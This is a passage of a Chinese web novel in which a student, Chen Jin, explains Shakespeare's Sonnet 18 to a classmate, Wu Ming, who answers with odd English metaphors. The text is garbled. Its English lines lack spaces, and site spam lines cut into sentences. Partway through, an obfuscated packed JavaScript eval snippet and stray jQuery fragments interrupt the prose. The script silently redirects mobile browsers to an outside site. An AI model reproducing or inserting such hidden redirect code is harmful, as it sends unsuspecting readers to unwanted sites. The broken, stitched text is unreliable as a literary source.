另一边，课堂已经开始了。


    学术英语的老师是一个来自C国的外国人。


    金发碧眼，戴着眼镜，简单的用英语自我介绍后，她将一块自己带的小黑板摆在讲台前，用粉笔写下几个单词。


    【Shallparetheetoasummer''sday?】


    【Thouartmorelovelyandmoretemperate.】


    伍茗的英语是完全是实用性的。


    流利，通用，她甚至可以模仿一些不同地区的腔调与口音。


    这是她曾经在国际活动的基础。


    但是此时此刻，她明白这上面的每个单词，却搞不懂这句话的意思。


    ……这就是大学吗？


    小**神情恍惚。


    “看不懂吗？这是很有名的哦，来自莎士比亚的十四行诗。


    背景音是外教快速流利的介绍，少年笑着问她。


    少女摇了摇头。


    陈瑾指着第一句，简单的翻译：“他说，我能把你比作夏天吗？


    然后指着第二句：“又说，不行，你比夏天还好看，还温柔。


    伍茗盯着那两句话。


    “夏天不是季节吗？为什么会‘好看’或‘温柔’？


    “这个问题……陈瑾饶有兴致地看着她，“问得很好。


    他停顿了一下，似乎在组织语言。


    “你可以把夏天当成一个人。一个脾气火爆，动不动就让人流汗的人。


    他用笔尖点了点课本上的“temperate。


    “但你呢，你脾气比她好，所以你更‘温和’。


    “你长得也比她顺眼，所以你更‘可爱’。


    伍茗盯着那两行诗，又看了看陈瑾。


    她好像懂了。


    就是把东西当成人来形容。


    “来，伍茗同学，实践一下。


    陈瑾把一支笔塞到她手里，指了指教室窗外的一棵大树。


    “形容一下它。


    伍茗的视线转向窗外。


    那是一棵很普通的樟树，树干粗


    你身边有不少朋友还没看到本章呢，快去给他们剧透吧


    壮，枝叶繁茂。


    她思考了几秒钟。


    然后，她在笔记本上写下一行字。


    【Thattreeislikeasecurityguardwhohasbeenstandingforalongtime,greenandsilent.】（那棵树像一个站了很久的保安，又绿又沉默。）


    她把本子推给陈瑾看。


    陈瑾低头，看着那行字。


    少年的肩膀开始轻微地抖动，最后，他终于没忍住，轻轻笑了一下。


    周围几个学生被他的动静惊动，投来疑惑的目光，又在接触到他抬起的眼神时迅速收了回去。


    “啊，你基础很好嘛。


    陈瑾正要把本子推回去，他望着少女平静的眸子，倏地升起了某种心思。


    “试试这样呢？比如，我们来写写你。


    他拿出自己的钢笔，一行行英文被书写在了纸张上。


    少年的字迹清秀又有利落的笔锋。


    【Shallparetheetoawinter''sday?】（我怎么能够把你来比作冬日呢？）


    【Thouartmorechillingandmorestarklybright.】（你却更凛冽，更刺眼明亮。）


    Winter，冬天。


    Chilling，寒冷的。


    Starklybright，刺眼的明亮。


    这些词语在她过去的知识库里，通常与恶劣环境、任务失败的可能性、以及需要更高热量消耗挂钩。


    它们不是好词。


    她抬起头，看向陈瑾。


    “凛冽和刺眼，是在形容缺点吗？伍茗问。


    陈瑾脸上的笑意


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16861775|191712||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    加深了。


    “你觉得呢？


    少年凑近了一些，压低了声音：“你不觉得，这比‘夏天’那种黏糊糊的季节，更像你吗？


    伍茗思考了一下。


    她确实更喜欢凉爽的环境，有利于保持冷静的头脑。


    “嗯。


    少女表示了认可。


    陈


    恭喜你可以去书友们那里给他们剧透了，他们一定会“羡慕嫉妒恨”的


    瑾靠回椅背，看着她脸上那种“原来如此”的表情，正要开口，就见对方拿起笔，在笔记本上开始写东西。


    少女抬头望着那块小黑板。


    于是写下——


    【Theblackboardislikeasilenttombstone.】（黑板像一块沉默的墓碑）


    她又盯着外教放在桌子上的粉笔。


    于是写下——


    【Thechalkislikeaboneabouttoburnout.】（粉笔像一根即将燃尽的骨头）


    伍茗瞥了一眼旁边笑眯眯的少年。


    二人四目相对。


    于是写下——


    【Youarelikethemiddaysuninsummer.】（你像夏日正午的太阳。）


    陈瑾脸上的表情停顿了一下。


    ……像夏日正午的太阳？


    几秒钟后，少年像是终于理解了其中的逻辑，他凑过来：“伍茗同学，你知道这句话，听起来像什么吗？”


    “像在骂人。”


    伍茗的笔停住了，她抬起头，黑色的瞳孔里是纯粹的疑惑。


    她看着他，等待一个解释。


    陈瑾伸出手指，点了点自己的太阳穴。


    “又晒又热，让人头晕，大家都不想靠近。”


    他看着伍茗的眼睛：“所以，这是在说我讨人厌。”


    伍茗思考了一下。


    “但是你确实很亮。”


    她回答。